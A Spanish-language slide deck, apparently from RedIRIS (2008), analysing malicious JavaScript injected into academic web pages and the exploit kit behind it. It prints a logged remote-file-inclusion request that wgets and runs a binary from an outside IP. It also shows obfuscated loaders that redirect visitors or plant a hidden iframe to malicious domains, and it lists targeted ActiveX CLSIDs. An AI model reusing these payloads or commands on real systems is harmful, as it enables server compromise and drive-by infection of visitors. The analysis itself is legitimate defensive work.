290 likes | 414 Views
Tendencias en ataques de servidores HTTP. Grupos de Trabajo Mayo 2008. Índice. Ataques a clientes y usuarios finales. Estudio de p áginas maliciosas en RedIRIS Código JavaScript ¿Qué pasa despúes ? Resolución. Introducci ón.
E N D
Tendencias en ataques de servidores HTTP Grupos de Trabajo Mayo 2008
Índice • Ataques a clientes y usuarios finales. • Estudio de páginas maliciosas en RedIRIS • Código JavaScript • ¿Qué pasa despúes ? • Resolución
Introducción • Los usuarios finales siguen siendo el objetivo mayoritario de los ataques. • Menor protección • Mayor número • Las medidas de seguridad “perimetral” clásicas son cada vez má efectivas. • Mayor concienciación sobre uso de cortafuegos. • Pocas vulnerabilidades a nivel de S.O.
Ataques vía HTML/ Javascript • Cada vez se emplea más el navegador WWW como medio para comprometer un equipo. • Dificultad en el filtrado de código malicioso • Interelación entre plugins y navegadores. • Escasa concienciación del usuario. • Inicialmente basados en ataques de ingeniería social o páginas WWW gratuitas de contenido dudoso. • El atacante al final instala un troyano/keylogger/bot, etc..
Ataques vía HTML / Javascript 2 • Mpack en junio del año pasado cambia la tendencia. • Los usuarios acceden a páginas infectadas • Son reencaminados a un servidor • Vía CGI/PHP se envía un exploit • El usuario se infecta con el malware
Estudio de páginas maliciosas • Recepción de alertas indicando contenidos maliciosos en páginas www: • No son contenidos “binarios” (.exe). • No se trataba de bots o código PHP) GET /mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://213.240.162.170/cmd.gif?&cmd=cd%20/tmp;wget%20213.240.162.170/lnikon;chmod%20755%20lnikon;./lnikon;echo%20YYY;echo| HTTP/1.1 • Contenidos HTML normales • Páginas de asignaturas de usuario • Páginas personales…
Aparentemente con páginas WWW normales, ya sea portales WWW, información personal, asignaturas, etc. • Un estudio más detallado muestra la inclusión de código Javascript en las páginas.
¿Qué hay aquí ? • <script language="javascript">document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%0D%0A%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%0D%0A%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%0D%0A%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%0D%0A%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%0D%0A%7D%0D%0A%3C%2F%73%63%72%69%70%74%3E'));dF('%264Dtdsjqu%264Fxjoepx/mpdbujpo%264E%2639%2633iuuq%264B00iju/dmjdl3117/dpn0jo/dhj%264G%2633%2Co%2C%2633%2637tfpsfg%264E%2633%2CfodpefVSJDpnqpofou%2639epdvnfou/sfgfssfs%263%3A%2C%2631%2633%2637qbsbnfufs%264E%2635lfzxpse%2637tf%264E%2635tf%2637vs%264E2%2637IUUQ%60SFGFSFS%264E%2633%2CfodpefVSJDpnqpofou%2639epdvnfou/VSM%263%3A%2C%2633%2637ojdif%264E%2633%2CfodpefVSJDpnqpofou%2639l%263%3A%2C%2633%2637efgbvmu%60lfzxpse%264E%2633%2CfodpefVSJDpnqpofou%2639l%263%3A%263%3A%264C%264D0tdsjqu%264F1'); • </script>
¿Qué hay aquí ? • Document.write es la forma de ejecutar el código JavaScript ya que fuerza el interprete HTML a evaluar la expresión como si fuera una página nueva. • Método usado para “ejecutar el código ofuscado”. • En este caso: la función unscape convierte los %XX en el carácter con código hexadecimal correspondiente
¿Más legible ? • <script language="javascript">document.write(unescape('<script language="javascript"> • function dF(s){ • var s1=unescape(s.substr(0,s.length-1)); • var t=''; • for(i=0;i<s1.length; i++) t+=String.fromCharCode(s1.charCodeAt(i)-s.substr(s.length-1, • 1)); • document.write(unescape(t)); • } • </script>')); • dF('&4Dtdsjqu&4Fxjoepx/mpdbujpo&4E&39&33iuuq&4B00iju/dmjdl3117/dpn0jo/dhj&4G&33,o,&33&37tfpsfg&4E&33, fodpefVSJDpnqpofou&39epdvnfou/sfgfssfs&3:,&31&33&37qbsbnfufs&4E&35lfzxpse&37tf&4E&35tf&37vs&4E2&37IUUQ`SFGFSFS&4E&33,fodpefVSJDpnqpofou&39epdvnfou/VSM&3:, &33&37ojdif&4E&33,fodpefVSJDpnqpofou&39l&3:,&33&37efgbvmu`lfzxpse&4E&33,fodpefVSJDpnqpofou&39l&3:&3:&4C&4D0tdsjqu&4F1'); • </script>
Todavía esta ofuscado • Con un pequeño script se puede ver que el resultado es: • %3Cscript%3Ewindow.location%3D%28%22http%3A//hit.click2006.com/in.cgi%3F%22+n+%22%26seoref%3D%22+encodeURIComponent%28document.referrer%29+%20%22%26parameter%3D%24keyword%26se%3D%24se%26ur%3D1%26HTTP_REFERER%3D%22+encodeURIComponent%28document.URL%29+%22%26niche%3D%22+encodeURIComponent%28k%29+%22%26default_keyword%3D%22+encodeURIComponent%28k%29%29%3B%3C/script%3E0 • Y tras “unscaparlo de nuevo”: • <script>window.location=("http://hit.click2006.com/in.cgi?"+n+"&seoref="+encodeURIComponent(document.referrer)+ "¶meter=$keyword&se=$se&ur=1&HTTP_REFERER="+encodeURIComponent(document.URL)+"&niche="+encodeURIComponent(k)+"&default_keyword="+encodeURIComponent(k)); • </script> • Nada bueno puede haber en hit.click2006.com :-)
Más típico: • <script type="text/javascript"> • function C76FB28CC82671EBFD7A8C0CBFEFEB(F6FA85D2E2B • 376D586B){var A914188A8C5080E497B63DD7906A8=16;return(parseInt(F6FA85D2E2B • 376D586B,A914188A8C5080E497B63DD7906A8));}function C76FB28CC82671EBFD7A8C0CBFEFEB(FCE0C1210B62BCEF54A5){function A21EA9 • 779BDE63844C(){var D4B20A5CA56BD6AE13B5DE6=2;return D4B20A5CA56BD6AE13B5DE6;}var D8DC63A1B5E4FB99="";for(C4BD81F471A9DF • 82907E=0;C4BD81F471A9DF82907E<FCE0C1210B62BCEF54A5.length;C4BD81F471A9DF82907E+=A21EA9779BDE63844C()){D8DC63A1B5E4FB99+ • =(String.fromCharCode(B39BC308E05867F791F9934E(FCE0C1210B62BCEF54A5.substr(C4BD81F471A9DF82907E,A21EA9779BDE63844C()))) • );}document.write(D8DC63A1B5E4FB99);}C76FB28CC82671EBFD7A8C0CBFEFEB("3C696672616D65207372633D687474703A2F2F627579747261 • 666669632E636E2F696E2E6367693F31312077696474683D31206865696768743D31207374796C653D22646973706C61793A6E6F6E65223E3C2F696 • 672616D653E"); • </script>
Más típico: • <script type="text/javascript"> • function C76FB28CC82671EBFD7A8C0CBFEFEB(F6FA85D2E2B376D586B) • {var A914188A8C5080E497B63DD7906A8=16;return(parseInt(F6FA85D2E2B • 376D586B,A914188A8C5080E497B63DD7906A8));} • function C76FB28CC82671EBFD7A8C0CBFEFEB(FCE0C1210B62BCEF54A5) • {function A21EA9779BDE63844C(){var D4B20A5CA56BD6AE13B5DE6=2;return D4B20A5CA56BD6AE13B5DE6;} • var D8DC63A1B5E4FB99=""; • for(C4BD81F471A9DF82907E=0; • C4BD81F471A9DF82907E<FCE0C1210B62BCEF54A5.length; • C4BD81F471A9DF82907E+=A21EA9779BDE63844C()){D8DC63A1B5E4FB99+ • =(String.fromCharCode(B39BC308E05867F791F9934E(FCE0C1210B62BCEF54A5.substr(C4BD81F471A9DF82907E,A21EA9779BDE63844C()))) • );} • document.write(D8DC63A1B5E4FB99);} • C76FB28CC82671EBFD7A8C0CBFEFEB("3C696672616D65207372633D687474703A2F2F627579747261666669632E636E2F696E2E6367693F31312077696474683D31206865696768743D31207374796C653D22646973706C61793A6E6F6E65223E3C2F696 • 672616D653E"); • </script>
Más típico: • <script type="text/javascript"> • function HEXDECIMAL(VALOR) • {var DIVISOR=16;return(parseInt(VALOR,DIVISOR));} • function DECODIFICA(CADENA) • {function DOS(){var DATO=2;return DATO;} • var CADENA_DECOD=""; • for(INDICE=0; • INDICE<CADENA.length; • INDICE+=DOS()) • { • CADENA_DECOD+=(String.fromCharCode(HEXDECIMAL(CADENA.substr(INDICE,ADOS()))) • );} • document.write(CADENA_DECOD);} • DECODIFICA("3C696672616D65207372633D687474703A2F2F627579747261666669632E636E2F696E2E6367693F31312077696474683D31206865696768743D31207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E"); • </script>
Conversor de hexadecimal a caracteres: • Al final siempre tiene que haber: • Un Tag de script, <script… • Un document.write para llamar a otro servidor. Al final un iframe hacia: http://buytraffic.cn/in.cgi?11
http://buytraffic.cn/in.cgi?11 • Sistema de explotación • Ya reportado en google: • http://ddanchev.blogspot.com/2008/02/yet-another-massive-embedded-malware.html • Este servidor comprueba: • Direcciones IP que intentan conectarse. • Solamente admite tres intentos por IP. • Navegador WWW que intenta conectarse. • Nada en caso de firefox • Error en caso de wget • Código malicioso (si se trata de un internet explorer)
Vulnerabilidades: • 'BD96C556-65A3-11D0-983A-00C04FC29E36', http://www.milw0rm.com/exploits/2164 Remote MDAC MS06-014 • 'BD96C556-65A3-11D0-983A-00C04FC29E30', RDS • 'AB9BCEDD-EC7E-47E1-9322-D4A210617116', Bussines Object Factory • '0006F033-0000-0000-C000-000000000046', Outlook • '0006F03A-0000-0000-C000-000000000046', Outlook … • '6e32070a-766d-4ee6-879c-dc1fa91d2fc3', • '6414512B-B978-451D-A0D8-FCFDF33E833C', • '7F5B7F63-F06F-4331-8A26-339E03C0AE3D', • '06723E09-F4C2-43c8-8358-09FCD1DB0766', • '639F725F-1B2D-4831-A9FD-874847682010', • 'BA018599-1DB3-44f9-83B4-461454C84BF8', • 'D0C07D56-7C69-43F1-B4A0-25F5A11FAB19', • 'E8CCCDDF-CA28-496b-B050-6C07C962476B', • A partir de aquí se descarga ya el malware…
Herramientas • Wget , vía script para simular diversos navegadores (user agent, etc) • Perl para hacer scripts de conversión • Google para buscar información • Y tiempo para analizar el código Java
Datos de RedIRIS • Escasa repercusión: • Solamente 10 servidores de instituciones afiliadas en el tiempo del estudio. • Principalmente: Páginas de Docentes y alumnos. • Código detectado con facilidad • Diversidad de javascript , sobre todo siguiendo el patrón 2 (codificación hexadecimal). • Solicitud de información adicional: • ¡¡ Mayor que la media de incidentes: 20% !! • De muchos otros se sigue sin tener información adicional. • ¡¡ Afortunadamente la páginas no nos las tienen que enviar !!
Protecciones: • En los servidores: • Control de acceso a los servidores WWW • ¿Quién cambia una página WWW ? • ¿Desde donde accede ? • Etc etc. • Antivirus a nivel de ficheros para los servidores WWW
Protecciones: • A nivel de usuarios: • Update • Update • Update (y no usar el navegador de marras )